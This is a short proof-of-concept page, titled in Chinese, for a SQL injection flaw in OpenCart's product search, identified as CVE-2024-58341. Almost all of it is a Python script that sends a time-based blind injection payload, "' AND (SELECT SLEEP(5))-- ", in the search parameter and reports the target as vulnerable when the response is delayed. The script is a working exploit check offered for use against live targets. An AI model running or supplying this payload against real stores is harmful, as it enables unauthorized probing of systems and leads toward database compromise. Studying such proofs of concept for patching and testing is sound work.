CVE-2024-58341 OpenCart Core SQL注入漏洞

import requests def verify_sqli(target_url): """ PoC for CVE-2024-58341 - Time-Based Blind SQL Injection """ # Payload to trigger a 5-second delay payload = { "search": "' AND (SELECT SLEEP(5))-- " } try: print(f"Sending request to: {target_url}") response = requests.get(target_url, params=payload, timeout=10) # Check if the response took longer than 5 seconds if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: The application responded slowly, indicating SQL injection.") else: print("[-] Vulnerability Not Detected: Response time was normal.") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://example.com/index.php?route=product/search" verify_sqli(target)